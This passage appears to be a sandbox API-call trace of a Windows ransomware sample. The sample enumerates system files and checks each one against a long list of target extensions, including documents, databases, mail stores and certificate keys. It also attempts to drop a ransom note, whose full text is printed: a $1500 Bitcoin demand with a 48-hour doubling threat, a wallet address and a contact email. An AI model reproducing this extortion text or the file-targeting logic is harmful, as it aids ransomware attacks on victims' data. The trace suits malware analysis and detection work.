(pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.pfx") returned 0 [0125.569] lstrlenA (lpString="*.pfx") returned 5 [0125.569] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.pem") returned 0 [0125.569] lstrlenA (lpString="*.pem") returned 5 [0125.569] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.p12") returned 0 [0125.569] lstrlenA (lpString="*.p12") returned 5 [0125.570] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.gpg") returned 0 [0125.570] lstrlenA (lpString="*.gpg") returned 5 [0125.570] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.vsd") returned 0 [0125.570] lstrlenA (lpString="*.vsd") returned 5 [0125.570] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.odg") returned 0 [0125.570] lstrlenA (lpString="*.odg") returned 5 [0125.570] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.raw") returned 0 [0125.570] lstrlenA (lpString="*.raw") returned 5 [0125.570] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.nef") returned 0 [0125.570] lstrlenA (lpString="*.nef") returned 5 [0125.570] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.svg") returned 0 [0125.570] lstrlenA (lpString="*.svg") returned 5 [0125.570] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.psd") returned 0 [0125.570] lstrlenA (lpString="*.psd") returned 5 [0125.570] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.vmx") returned 0 [0125.570] lstrlenA (lpString="*.vmx") returned 5 [0125.570] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.vmdk") returned 0 [0125.570] lstrlenA (lpString="*.vmdk") returned 6 [0125.570] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.vdi") returned 0 [0125.570] lstrlenA (lpString="*.vdi") returned 5 [0125.570] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.lay6") returned 0 [0125.570] lstrlenA (lpString="*.lay6") returned 6 [0125.570] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.mpeg") returned 0 [0125.571] lstrlenA (lpString="*.mpeg") returned 6 [0125.571] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.djvu") returned 0 [0125.571] lstrlenA (lpString="*.djvu") returned 6 [0125.571] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.tiff") returned 0 [0125.571] lstrlenA (lpString="*.tiff") returned 6 [0125.571] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.backup") returned 0 [0125.571] lstrlenA (lpString="*.backup") returned 8 [0125.571] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.pdf") returned 0 [0125.571] lstrlenA (lpString="*.pdf") returned 5 [0125.571] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.cert") returned 0 [0125.571] lstrlenA (lpString="*.cert") returned 6 [0125.571] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.docm") returned 0 [0125.571] lstrlenA (lpString="*.docm") returned 6 [0125.571] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.xlsm") returned 0 [0125.571] lstrlenA (lpString="*.xlsm") returned 6 [0125.571] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.dwg") returned 0 [0125.571] lstrlenA (lpString="*.dwg") returned 5 [0125.571] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.nd") returned 0 [0125.572] lstrlenA (lpString="*.nd") returned 4 [0125.572] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.tlg") returned 0 [0125.572] lstrlenA (lpString="*.tlg") returned 5 [0125.572] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.lgb") returned 0 [0125.572] lstrlenA (lpString="*.lgb") returned 5 [0125.572] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.mov") returned 0 [0125.572] lstrlenA (lpString="*.mov") returned 5 [0125.572] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.xdw") returned 0 [0125.572] lstrlenA (lpString="*.xdw") returned 5 [0125.572] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.ods") returned 0 [0125.572] lstrlenA (lpString="*.ods") returned 5 [0125.572] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.wav") returned 0 [0125.572] lstrlenA (lpString="*.wav") returned 5 [0125.572] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.mp3") returned 0 [0125.572] lstrlenA (lpString="*.mp3") returned 5 [0125.572] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.aiff") returned 0 [0125.572] lstrlenA (lpString="*.aiff") returned 6 [0125.572] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.flac") returned 0 [0125.573] lstrlenA (lpString="*.flac") returned 6 [0125.573] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.m4a") returned 0 [0125.573] lstrlenA (lpString="*.m4a") returned 5 [0125.573] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.csv") returned 0 [0125.573] lstrlenA (lpString="*.csv") returned 5 [0125.573] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11b45345, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x11b45345, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd0ffea49, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceCenterDiagnostic.xml", cAlternateFileName="")) returned 1 [0125.573] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.573] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DeviceCenterDiagnostic.xml") returned 1 [0125.573] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DeviceCenterDiagnostic.xml") returned 1 [0125.573] lstrcmpiA (lpString1="", lpString2="DeviceCenterDiagnostic.xml") returned -1 [0125.573] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml") returned="AudioRecordingDiagnostic.xml" [0125.573] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.573] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.573] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.573] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.574] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.574] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.574] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.574] CloseHandle (hObject=0xffffffff) returned 0 [0125.574] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="DeviceCenterDiagnostic.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml") returned="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml" [0125.574] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.ems") returned 0 [0125.574] lstrlenA (lpString="*.ems") returned 5 [0125.574] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.db") returned 0 [0125.574] lstrlenA (lpString="*.db") returned 4 [0125.574] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.dbf") returned 0 [0125.574] lstrlenA (lpString="*.dbf") returned 5 [0125.574] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.myox") returned 0 [0125.575] lstrlenA (lpString="*.myox") returned 6 [0125.575] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.myo") returned 0 [0125.575] lstrlenA (lpString="*.myo") returned 5 [0125.575] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.qbw") returned 0 [0125.575] lstrlenA (lpString="*.qbw") returned 5 [0125.575] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.qbb") returned 0 [0125.575] lstrlenA (lpString="*.qbb") returned 5 [0125.575] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.qbm") returned 0 [0125.575] lstrlenA (lpString="*.qbm") returned 5 [0125.575] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.qbo") returned 0 [0125.575] lstrlenA (lpString="*.qbo") returned 5 [0125.575] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.qbx") returned 0 [0125.575] lstrlenA (lpString="*.qbx") returned 5 [0125.575] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.qba") returned 0 [0125.575] lstrlenA (lpString="*.qba") returned 5 [0125.575] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.qby") returned 0 [0125.575] lstrlenA (lpString="*.qby") returned 5 [0125.575] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.qbj") returned 0 [0125.575] lstrlenA (lpString="*.qbj") returned 5 [0125.575] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.ofx") returned 0 [0125.575] lstrlenA (lpString="*.ofx") returned 5 [0125.575] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.qif") returned 0 [0125.575] lstrlenA (lpString="*.qif") returned 5 [0125.575] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.mye") returned 0 [0125.575] lstrlenA (lpString="*.mye") returned 5 [0125.575] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.mbox") returned 0 [0125.576] lstrlenA (lpString="*.mbox") returned 6 [0125.576] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.eml") returned 0 [0125.576] lstrlenA (lpString="*.eml") returned 5 [0125.576] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.pst") returned 0 [0125.576] lstrlenA (lpString="*.pst") returned 5 [0125.576] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.ost") returned 0 [0125.576] lstrlenA (lpString="*.ost") returned 5 [0125.576] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.idx") returned 0 [0125.576] lstrlenA (lpString="*.idx") returned 5 [0125.576] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.dbx") returned 0 [0125.576] lstrlenA (lpString="*.dbx") returned 5 [0125.576] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.sql") returned 0 [0125.576] lstrlenA (lpString="*.sql") returned 5 [0125.576] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.mdb") returned 0 [0125.576] lstrlenA (lpString="*.mdb") returned 5 [0125.576] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.fdb") returned 0 [0125.576] lstrlenA (lpString="*.fdb") returned 5 [0125.576] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.wab") returned 0 [0125.576] lstrlenA (lpString="*.wab") returned 5 [0125.576] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.dat") returned 0 [0125.576] lstrlenA (lpString="*.dat") returned 5 [0125.576] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.txt") returned 0 [0125.576] lstrlenA (lpString="*.txt") returned 5 [0125.576] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.jpeg") returned 0 [0125.576] lstrlenA (lpString="*.jpeg") returned 6 [0125.576] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.jpg") returned 0 [0125.577] lstrlenA (lpString="*.jpg") returned 5 [0125.577] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.png") returned 0 [0125.577] lstrlenA (lpString="*.png") returned 5 [0125.577] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.php") returned 0 [0125.577] lstrlenA (lpString="*.php") returned 5 [0125.577] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.cs") returned 0 [0125.577] lstrlenA (lpString="*.cs") returned 4 [0125.577] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.cpp") returned 0 [0125.577] lstrlenA (lpString="*.cpp") returned 5 [0125.577] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.rar") returned 0 [0125.577] lstrlenA (lpString="*.rar") returned 5 [0125.577] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.zip") returned 0 [0125.577] lstrlenA (lpString="*.zip") returned 5 [0125.577] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.html") returned 0 [0125.577] lstrlenA (lpString="*.html") returned 6 [0125.577] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.htm") returned 0 [0125.577] lstrlenA (lpString="*.htm") returned 5 [0125.577] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.xlsx") returned 0 [0125.577] lstrlenA (lpString="*.xlsx") returned 6 [0125.577] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.xls") returned 0 [0125.577] lstrlenA (lpString="*.xls") returned 5 [0125.577] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.mp4") returned 0 [0125.577] lstrlenA (lpString="*.mp4") returned 5 [0125.577] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.ppt") returned 0 [0125.577] lstrlenA (lpString="*.ppt") returned 5 [0125.577] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.pptx") returned 0 [0125.577] lstrlenA (lpString="*.pptx") returned 6 [0125.578] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.doc") returned 0 [0125.578] lstrlenA (lpString="*.doc") returned 5 [0125.578] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.dot") returned 0 [0125.578] lstrlenA (lpString="*.dot") returned 5 [0125.578] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.docx") returned 0 [0125.578] lstrlenA (lpString="*.docx") returned 6 [0125.578] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.7z") returned 0 [0125.578] lstrlenA (lpString="*.7z") returned 4 [0125.578] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.tar") returned 0 [0125.578] lstrlenA (lpString="*.tar") returned 5 [0125.578] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.bz2") returned 0 [0125.578] lstrlenA (lpString="*.bz2") returned 5 [0125.578] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.gz") returned 0 [0125.578] lstrlenA (lpString="*.gz") returned 4 [0125.578] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.mkv") returned 0 [0125.578] lstrlenA (lpString="*.mkv") returned 5 [0125.578] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.eml") returned 0 [0125.578] lstrlenA (lpString="*.eml") returned 5 [0125.578] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.msg") returned 0 [0125.578] lstrlenA (lpString="*.msg") returned 5 [0125.578] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.edb") returned 0 [0125.578] lstrlenA (lpString="*.edb") returned 5 [0125.578] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.accdb") returned 0 [0125.578] lstrlenA (lpString="*.accdb") returned 7 [0125.578] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.odb") returned 0 [0125.578] lstrlenA (lpString="*.odb") returned 5 [0125.578] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.java") returned 0 [0125.579] lstrlenA (lpString="*.java") returned 6 [0125.579] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.asm") returned 0 [0125.579] lstrlenA (lpString="*.asm") returned 5 [0125.579] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.pfx") returned 0 [0125.579] lstrlenA (lpString="*.pfx") returned 5 [0125.579] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.pem") returned 0 [0125.579] lstrlenA (lpString="*.pem") returned 5 [0125.579] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.p12") returned 0 [0125.579] lstrlenA (lpString="*.p12") returned 5 [0125.579] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml", pszSpec="*.gpg") returned 0 [0125.579] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1161038e, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1161038e, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xcfb9cefb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceDiagnostic.xml", cAlternateFileName="")) returned 1 [0125.579] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.579] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DeviceDiagnostic.xml") returned 1 [0125.580] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DeviceDiagnostic.xml") returned 1 [0125.580] lstrcmpiA (lpString1="", lpString2="DeviceDiagnostic.xml") returned -1 [0125.580] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\DeviceCenterDiagnostic.xml") returned="DeviceCenterDiagnostic.xml" [0125.580] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.580] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.580] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.580] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.580] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.580] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.581] CloseHandle (hObject=0xffffffff) returned 0 [0125.581] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="DeviceDiagnostic.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\DeviceDiagnostic.xml") returned="C:\\Windows\\diagnostics\\index\\DeviceDiagnostic.xml" [0125.581] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\DeviceDiagnostic.xml", pszSpec="*.ems") returned 0 [0125.581] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10a4f7db, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10a4f7db, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd1f0545f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEBrowseWebDiagnostic.xml", cAlternateFileName="")) returned 1 [0125.581] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.581] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IEBrowseWebDiagnostic.xml") returned -1 [0125.581] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IEBrowseWebDiagnostic.xml") returned -1 [0125.581] lstrcmpiA (lpString1="", lpString2="IEBrowseWebDiagnostic.xml") returned -1 [0125.581] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\index\\DeviceDiagnostic.xml") returned="DeviceDiagnostic.xml" [0125.581] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.581] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.581] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.581] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.581] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.582] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.582] CloseHandle (hObject=0xffffffff) returned 0 [0125.582] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="IEBrowseWebDiagnostic.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\IEBrowseWebDiagnostic.xml") 